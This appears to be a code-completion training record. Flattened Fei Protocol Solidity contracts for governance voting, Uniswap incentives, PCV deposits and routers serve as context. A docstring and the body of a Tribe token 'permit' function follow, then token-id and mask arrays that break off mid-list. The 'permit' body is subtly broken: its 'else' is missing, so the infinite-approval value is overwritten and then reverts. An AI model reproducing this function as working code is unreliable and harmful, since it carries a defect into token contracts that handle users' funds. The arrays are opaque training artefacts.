mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address tribe_, address guardian_) public {
timelock = TimelockInterface(timelock_);
tribe = CompInterface(tribe_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(tribe.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
// solhint-disable-next-line not-rely-on-time
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value : proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || tribe.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
// solhint-disable-next-line not-rely-on-time
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = tribe.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
// solhint-disable-next-line no-inline-assembly
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
// solhint-disable-next-line func-name-mixedcase
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface CompInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
// File contracts/fei-protocol/orchestration/GovernanceOrchestrator.sol
pragma solidity ^0.6.0;
contract GovernanceOrchestrator is Ownable {
function init(address admin, address tribe, uint timelockDelay) public onlyOwner returns (
address governorAlpha, address timelock
) {
timelock = address(new Timelock(admin, timelockDelay));
governorAlpha = address(new GovernorAlpha(address(timelock), tribe, admin));
return (governorAlpha, timelock);
}
function detonate() public onlyOwner {
selfdestruct(payable(owner()));
}
}
// File contracts/fei-protocol/orchestration/IDOOrchestrator.sol
pragma solidity ^0.6.0;
contract IDOOrchestrator is Ownable {
function init(
address core,
address admin,
address tribe,
address pair,
address router,
uint32 releaseWindow
) public onlyOwner returns (
address ido,
address timelockedDelegator
) {
ido = address(new IDO(core, admin, releaseWindow, pair, router));
timelockedDelegator = address(new TimelockedDelegator(tribe, admin, releaseWindow));
}
function detonate() public onlyOwner {
selfdestruct(payable(owner()));
}
}
// File contracts/fei-protocol/token/UniswapIncentive.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title IUniswapIncentive implementation
/// @author Fei Protocol
contract UniswapIncentive is IUniswapIncentive, UniRef {
using Decimal for Decimal.D256;
using SafeMath32 for uint32;
using SafeMath for uint;
using SafeCast for uint;
struct TimeWeightInfo {
uint32 blockNo;
uint32 weight;
uint32 growthRate;
bool active;
}
TimeWeightInfo private timeWeightInfo;
uint32 public constant override TIME_WEIGHT_GRANULARITY = 100_000;
mapping(address => bool) private _exempt;
mapping(address => bool) private _allowlist;
/// @notice UniswapIncentive constructor
/// @param _core Fei Core to reference
/// @param _oracle Oracle to reference
/// @param _pair Uniswap Pair to incentivize
/// @param _router Uniswap Router
constructor(
address _core,
address _oracle,
address _pair,
address _router,
uint32 _growthRate
) public UniRef(_core, _pair, _router, _oracle) {
_setTimeWeight(0, _growthRate, false);
}
function incentivize(
address sender,
address receiver,
address operator,
uint amountIn
) external override onlyFei {
updateOracle();
if (isPair(sender)) {
incentivizeBuy(receiver, amountIn);
}
if (isPair(receiver)) {
require(isSellAllowlisted(sender) || isSellAllowlisted(operator), "UniswapIncentive: Blocked Fei sender or operator");
incentivizeSell(sender, amountIn);
}
}
function setExemptAddress(address account, bool isExempt) external override onlyGovernor {
_exempt[account] = isExempt;
emit ExemptAddressUpdate(account, isExempt);
}
function setSellAllowlisted(address account, bool isAllowed) external override onlyGovernor {
_allowlist[account] = isAllowed;
emit SellAllowedAddressUpdate(account, isAllowed);
}
function setTimeWeightGrowth(uint32 growthRate) external override onlyGovernor {
TimeWeightInfo memory tw = timeWeightInfo;
timeWeightInfo = TimeWeightInfo(tw.blockNo, tw.weight, growthRate, tw.active);
emit GrowthRateUpdate(growthRate);
}
function setTimeWeight(uint32 weight, uint32 growth, bool active) external override onlyGovernor {
_setTimeWeight(weight, growth, active);
// TimeWeightInfo memory tw = timeWeightInfo;
// timeWeightInfo = TimeWeightInfo(blockNo, tw.weight, tw.growthRate, tw.active);
}
function getGrowthRate() public view override returns (uint32) {
return timeWeightInfo.growthRate;
}
function getTimeWeight() public view override returns (uint32) {
TimeWeightInfo memory tw = timeWeightInfo;
if (!tw.active) {
return 0;
}
uint32 blockDelta = block.number.toUint32().sub(tw.blockNo);
return tw.weight.add(blockDelta * tw.growthRate);
}
function isTimeWeightActive() public view override returns (bool) {
return timeWeightInfo.active;
}
function isExemptAddress(address account) public view override returns (bool) {
return _exempt[account];
}
function isSellAllowlisted(address account) public view override returns(bool) {
return _allowlist[account];
}
function isIncentiveParity() public view override returns (bool) {
uint32 weight = getTimeWeight();
require(weight != 0, "UniswapIncentive: Incentive zero or not active");
(Decimal.D256 memory price,,) = getUniswapPrice();
Decimal.D256 memory deviation = calculateDeviation(price, peg());
require(!deviation.equals(Decimal.zero()), "UniswapIncentive: Price already at or above peg");
Decimal.D256 memory incentive = calculateBuyIncentiveMultiplier(deviation, weight);
Decimal.D256 memory penalty = calculateSellPenaltyMultiplier(deviation);
return incentive.equals(penalty);
}
function getBuyIncentive(uint amount) public view override returns(
uint incentive,
uint32 weight,
Decimal.D256 memory initialDeviation,
Decimal.D256 memory finalDeviation
) {
(initialDeviation, finalDeviation) = getPriceDeviations(-1 * int256(amount));
weight = getTimeWeight();
if (initialDeviation.equals(Decimal.zero())) {
return (0, weight, initialDeviation, finalDeviation);
}
uint incentivizedAmount = amount;
if (finalDeviation.equals(Decimal.zero())) {
incentivizedAmount = getAmountToPegFei();
}
Decimal.D256 memory multiplier = calculateBuyIncentiveMultiplier(initialDeviation, weight);
incentive = multiplier.mul(incentivizedAmount).asUint256();
return (incentive, weight, initialDeviation, finalDeviation);
}
function getSellPenalty(uint amount) public view override returns(
uint penalty,
Decimal.D256 memory initialDeviation,
Decimal.D256 memory finalDeviation
) {
(initialDeviation, finalDeviation) = getPriceDeviations(int256(amount));
if (finalDeviation.equals(Decimal.zero())) {
return (0, initialDeviation, finalDeviation);
}
uint incentivizedAmount = amount;
if (initialDeviation.equals(Decimal.zero())) {
uint amountToPeg = getAmountToPegFei();
incentivizedAmount = amount.sub(amountToPeg, "UniswapIncentive: Underflow");
}
Decimal.D256 memory multiplier = calculateSellPenaltyMultiplier(finalDeviation);
penalty = multiplier.mul(incentivizedAmount).asUint256();
return (penalty, initialDeviation, finalDeviation);
}
function incentivizeBuy(address target, uint amountIn) internal ifMinterSelf {
if (isExemptAddress(target)) {
return;
}
(uint incentive, uint32 weight,
Decimal.D256 memory initialDeviation,
Decimal.D256 memory finalDeviation) = getBuyIncentive(amountIn);
updateTimeWeight(initialDeviation, finalDeviation, weight);
if (incentive != 0) {
fei().mint(target, incentive);
}
}
function incentivizeSell(address target, uint amount) internal ifBurnerSelf {
if (isExemptAddress(target)) {
return;
}
(uint penalty, Decimal.D256 memory initialDeviation,
Decimal.D256 memory finalDeviation) = getSellPenalty(amount);
uint32 weight = getTimeWeight();
updateTimeWeight(initialDeviation, finalDeviation, weight);
if (penalty != 0) {
fei().burnFrom(target, penalty);
}
}
function calculateBuyIncentiveMultiplier(
Decimal.D256 memory deviation,
uint32 weight
) internal pure returns (Decimal.D256 memory) {
Decimal.D256 memory correspondingPenalty = calculateSellPenaltyMultiplier(deviation);
Decimal.D256 memory buyMultiplier = deviation.mul(uint(weight)).div(uint(TIME_WEIGHT_GRANULARITY));
if (correspondingPenalty.lessThan(buyMultiplier)) {
return correspondingPenalty;
}
return buyMultiplier;
}
function calculateSellPenaltyMultiplier(
Decimal.D256 memory deviation
) internal pure returns (Decimal.D256 memory) {
return deviation.mul(deviation).mul(100); // m^2 * 100
}
function updateTimeWeight (
Decimal.D256 memory initialDeviation,
Decimal.D256 memory finalDeviation,
uint32 currentWeight
) internal {
// Reset after completion
if (finalDeviation.equals(Decimal.zero())) {
_setTimeWeight(0, getGrowthRate(), false);
return;
}
// Init
if (initialDeviation.equals(Decimal.zero())) {
_setTimeWeight(0, getGrowthRate(), true);
return;
}
uint updatedWeight = uint(currentWeight);
// Partial buy
if (initialDeviation.greaterThan(finalDeviation)) {
Decimal.D256 memory remainingRatio = finalDeviation.div(initialDeviation);
updatedWeight = remainingRatio.mul(uint(currentWeight)).asUint256();
}
uint maxWeight = finalDeviation.mul(100).mul(uint(TIME_WEIGHT_GRANULARITY)).asUint256(); // m^2*100 (sell) = t*m (buy)
updatedWeight = Math.min(updatedWeight, maxWeight);
_setTimeWeight(updatedWeight.toUint32(), getGrowthRate(), true);
}
function _setTimeWeight(uint32 weight, uint32 growthRate, bool active) internal {
uint32 currentGrowth = getGrowthRate();
uint32 blockNo = block.number.toUint32();
timeWeightInfo = TimeWeightInfo(blockNo, weight, growthRate, active);
emit TimeWeightUpdate(weight, active);
if (currentGrowth != growthRate) {
emit GrowthRateUpdate(growthRate);
}
}
}
// File contracts/fei-protocol/orchestration/IncentiveOrchestrator.sol
pragma solidity ^0.6.0;
contract IncentiveOrchestrator is Ownable {
UniswapIncentive public uniswapIncentive;
function init(
address core,
address bondingCurveOracle,
address pair,
address router,
uint32 growthRate
) public onlyOwner returns(address) {
return address(new UniswapIncentive(core, bondingCurveOracle, pair, router, growthRate));
}
function detonate() public onlyOwner {
selfdestruct(payable(owner()));
}
}
// File contracts/fei-protocol/pcv/UniswapPCVDeposit.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title abstract implementation for Uniswap LP PCV Deposit
/// @author Fei Protocol
abstract contract UniswapPCVDeposit is IPCVDeposit, UniRef {
using Decimal for Decimal.D256;
/// @notice Uniswap PCV Deposit constructor
/// @param _core Fei Core for reference
/// @param _pair Uniswap Pair to deposit to
/// @param _router Uniswap Router
/// @param _oracle oracle for reference
constructor(
address _core,
address _pair,
address _router,
address _oracle
) public UniRef(_core, _pair, _router, _oracle) {}
function withdraw(address to, uint amountUnderlying) external override onlyPCVController {
uint totalUnderlying = totalValue();
require(amountUnderlying <= totalUnderlying, "UniswapPCVDeposit: Insufficient underlying");
uint totalLiquidity = liquidityOwned();
Decimal.D256 memory ratioToWithdraw = Decimal.ratio(amountUnderlying, totalUnderlying);
uint liquidityToWithdraw = ratioToWithdraw.mul(totalLiquidity).asUint256();
uint amountWithdrawn = _removeLiquidity(liquidityToWithdraw);
_transferWithdrawn(to, amountWithdrawn);
_burnFeiHeld();
emit Withdrawal(msg.sender, to, amountWithdrawn);
}
function totalValue() public view override returns(uint) {
(, uint tokenReserves) = getReserves();
return ratioOwned().mul(tokenReserves).asUint256();
}
function _getAmountFeiToDeposit(uint amountToken) internal view returns (uint amountFei) {
(uint feiReserves, uint tokenReserves) = getReserves();
if (feiReserves == 0 || tokenReserves == 0) {
return peg().mul(amountToken).asUint256();
}
return UniswapV2Library.quote(amountToken, tokenReserves, feiReserves);
}
function _removeLiquidity(uint amount) internal virtual returns(uint);
function _transferWithdrawn(address to, uint amount) internal virtual;
}
// File contracts/fei-protocol/pcv/EthUniswapPCVDeposit.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title implementation for an ETH Uniswap LP PCV Deposit
/// @author Fei Protocol
contract EthUniswapPCVDeposit is UniswapPCVDeposit {
using Address for address payable;
/// @notice ETH Uniswap PCV Deposit constructor
/// @param _core Fei Core for reference
/// @param _pair Uniswap Pair to deposit to
/// @param _router Uniswap Router
/// @param _oracle oracle for reference
constructor(
address _core,
address _pair,
address _router,
address _oracle
) public UniswapPCVDeposit(_core, _pair, _router, _oracle) {}
receive() external payable {}
function deposit(uint ethAmount) external override payable postGenesis {
require(ethAmount == msg.value, "Bonding Curve: Sent value does not equal input");
uint feiAmount = _getAmountFeiToDeposit(ethAmount);
_addLiquidity(ethAmount, feiAmount);
emit Deposit(msg.sender, ethAmount);
}
function _removeLiquidity(uint liquidity) internal override returns (uint) {
(, uint amountWithdrawn) = router.removeLiquidityETH(
address(fei()),
liquidity,
0,
0,
address(this),
uint(-1)
);
return amountWithdrawn;
}
function _transferWithdrawn(address to, uint amount) internal override {
payable(to).sendValue(amount);
}
function _addLiquidity(uint ethAmount, uint feiAmount) internal {
_mintFei(feiAmount);
router.addLiquidityETH{value : ethAmount}(address(fei()),
feiAmount,
0,
0,
address(this),
uint(-1)
);
}
}
// File contracts/fei-protocol/orchestration/PCVDepositOrchestrator.sol
pragma solidity ^0.6.0;
contract PCVDepositOrchestrator is Ownable {
function init(
address core,
address pair,
address router,
address oraclePair,
uint32 twapDuration,
bool price0
) public onlyOwner returns(
address ethUniswapPCVDeposit,
address uniswapOracle
) {
uniswapOracle = address(new UniswapOracle(core,
oraclePair,
twapDuration,
price0
));
ethUniswapPCVDeposit = address(new EthUniswapPCVDeposit(core, pair, router, uniswapOracle));
return (
ethUniswapPCVDeposit,
uniswapOracle
);
}
function detonate() public onlyOwner {
selfdestruct(payable(owner()));
}
}
// File @uniswap/lib/contracts/libraries/[email protected]
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
// File contracts/fei-protocol/router/IUniswapSingleEthRouter.sol
pragma solidity ^0.6.0;
/// @title A Uniswap Router for token/ETH swaps
/// @author Fei Protocol
interface IUniswapSingleEthRouter {
// ----------- state changing api -----------
/// @notice swap ETH for tokens with some protections
/// @param amountOutMin minimum tokens received
/// @param to address to send tokens
/// @param deadline block timestamp after which trade is invalid
/// @return amountOut the amount of tokens received
function swapExactETHForTokens(
uint amountOutMin,
address to,
uint deadline
) external payable returns(uint amountOut);
/// @notice swap tokens for ETH with some protections
/// @param amountIn amount of tokens to sell
/// @param amountOutMin minimum ETH received
/// @param to address to send ETH
/// @param deadline block timestamp after which trade is invalid
/// @return amountOut the amount of ETH received
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address to,
uint deadline
) external returns (uint amountOut);
}
// File contracts/fei-protocol/router/UniswapSingleEthRouter.sol
pragma solidity ^0.6.0;
contract UniswapSingleEthRouter is IUniswapSingleEthRouter {
IWETH public immutable WETH;
IUniswapV2Pair public immutable PAIR;
constructor(
address pair,
address weth
) public {
PAIR = IUniswapV2Pair(pair);
WETH = IWETH(weth);
}
receive() external payable {
assert(msg.sender == address(WETH)); // only accept ETH via fallback from the WETH contract
}
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'UniswapSingleEthRouter: EXPIRED');
_;
}
function _getReserves() internal view returns(uint reservesETH, uint reservesOther, bool isETH0) {
(uint reserves0, uint reserves1, ) = PAIR.getReserves();
isETH0 = PAIR.token0() == address(WETH);
return isETH0 ? (reserves0, reserves1, isETH0) : (reserves1, reserves0, isETH0);
}
function swapExactETHForTokens(uint amountOutMin, address to, uint deadline)
public
payable
override
ensure(deadline)
returns (uint amountOut)
{
(uint reservesETH, uint reservesOther, bool isETH0) = _getReserves();
uint amountIn = msg.value;
amountOut = UniswapV2Library.getAmountOut(amountIn, reservesETH, reservesOther);
require(amountOut >= amountOutMin, 'UniswapSingleEthRouter: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(address(PAIR), amountIn));
(uint amount0Out, uint amount1Out) = isETH0 ? (uint(0), amountOut) : (amountOut, uint(0));
PAIR.swap(amount0Out, amount1Out, to, new bytes(0));
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address to, uint deadline)
public
override
ensure(deadline)
returns (uint amountOut)
{
(uint reservesETH, uint reservesOther, bool isETH0) = _getReserves();
amountOut = UniswapV2Library.getAmountOut(amountIn, reservesOther, reservesETH);
require(amountOut >= amountOutMin, 'UniswapSingleEthRouter: INSUFFICIENT_OUTPUT_AMOUNT');
address token = isETH0 ? PAIR.token1() : PAIR.token0();
TransferHelper.safeTransferFrom(
token, msg.sender, address(PAIR), amountIn
);
(uint amount0Out, uint amount1Out) = isETH0 ? (amountOut, uint(0)) : (uint(0), amountOut);
PAIR.swap(amount0Out, amount1Out, address(this), new bytes(0));
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
}
// File contracts/fei-protocol/router/IFeiRouter.sol
pragma solidity ^0.6.0;
/// @title A Uniswap Router for FEI/ETH swaps
/// @author Fei Protocol
interface IFeiRouter {
// ----------- state changing api -----------
/// @notice buy FEI for ETH with some protections
/// @param minReward minimum mint reward for purchasing
/// @param amountOutMin minimum FEI received
/// @param to address to send FEI
/// @param deadline block timestamp after which trade is invalid
function buyFei(
uint minReward,
uint amountOutMin,
address to,
uint deadline
) external payable returns(uint amountOut);
/// @notice sell FEI for ETH with some protections
/// @param maxPenalty maximum fei burn for purchasing
/// @param amountIn amount of FEI to sell
/// @param amountOutMin minimum ETH received
/// @param to address to send ETH
/// @param deadline block timestamp after which trade is invalid
function sellFei(
uint maxPenalty,
uint amountIn,
uint amountOutMin,
address to,
uint deadline
) external returns(uint amountOut);
}
// File contracts/fei-protocol/router/FeiRouter.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract FeiRouter is UniswapSingleEthRouter, IFeiRouter {
IUniswapIncentive public immutable INCENTIVE;
constructor(
address pair,
address weth,
address incentive
) public UniswapSingleEthRouter(pair, weth) {
INCENTIVE = IUniswapIncentive(incentive);
}
function buyFei(
uint minReward,
uint amountOutMin,
address to,
uint deadline
) external payable override returns(uint amountOut) {
IOracleRef(address(INCENTIVE)).updateOracle();
uint reward = 0;
if (!INCENTIVE.isExemptAddress(to)) {
(reward,,,) = INCENTIVE.getBuyIncentive(amountOutMin);
}
require(reward >= minReward, "FeiRouter: Not enough reward");
return swapExactETHForTokens(amountOutMin, to, deadline);
}
function sellFei(
uint maxPenalty,
uint amountIn,
uint amountOutMin,
address to,
uint deadline
) external override returns(uint amountOut) {
IOracleRef(address(INCENTIVE)).updateOracle();
uint penalty = 0;
if (!INCENTIVE.isExemptAddress(to)) {
(penalty,,) = INCENTIVE.getSellPenalty(amountIn);
}
require(penalty <= maxPenalty, "FeiRouter: Penalty too high");
return swapExactTokensForETH(amountIn, amountOutMin, to, deadline);
}
}
// File contracts/fei-protocol/orchestration/RouterOrchestrator.sol
pragma solidity ^0.6.0;
contract RouterOrchestrator is Ownable {
function init(
address pair,
address weth,
address incentive
) public onlyOwner returns(address ethRouter) {
ethRouter = address(new FeiRouter(pair,
weth,
incentive
));
return ethRouter;
}
function detonate() public onlyOwner {
selfdestruct(payable(owner()));
}
}
// File contracts/fei-protocol/flat.sol
// File contracts/fei-protocol/Migrations.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.8.0;
contract Migrations {
address public owner = msg.sender;
uint public last_completed_migration;
modifier restricted() {
require(
msg.sender == owner,
"This function is restricted to the contract's owner"
);
_;
}
function setCompleted(uint completed) public restricted {
last_completed_migration = completed;
}
}
|
* @notice Triggers an approval from owner to spends @param owner The address to approve from @param spender The address to be approved @param rawAmount The number of tokens that are approved (2^256-1 means infinite) @param deadline The time at which to expire the signature @param v The recovery byte of the signature @param r Half of the ECDSA signature pair @param s Half of the ECDSA signature pair/
|
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
amount = safe96(rawAmount, "Tribe::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Tribe::permit: invalid signature");
require(signatory == owner, "Tribe::permit: unauthorized");
require(now <= deadline, "Tribe::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
| 14,088,377 |
[
1,
15114,
392,
23556,
628,
3410,
358,
17571,
87,
225,
3410,
1021,
1758,
358,
6617,
537,
628,
225,
17571,
264,
1021,
1758,
358,
506,
20412,
225,
1831,
6275,
1021,
1300,
434,
2430,
716,
854,
20412,
261,
22,
66,
5034,
17,
21,
4696,
14853,
13,
225,
14096,
1021,
813,
622,
1492,
358,
6930,
326,
3372,
225,
331,
1021,
11044,
1160,
434,
326,
3372,
225,
436,
670,
6186,
434,
326,
7773,
19748,
3372,
3082,
225,
272,
670,
6186,
434,
326,
7773,
19748,
3372,
3082,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
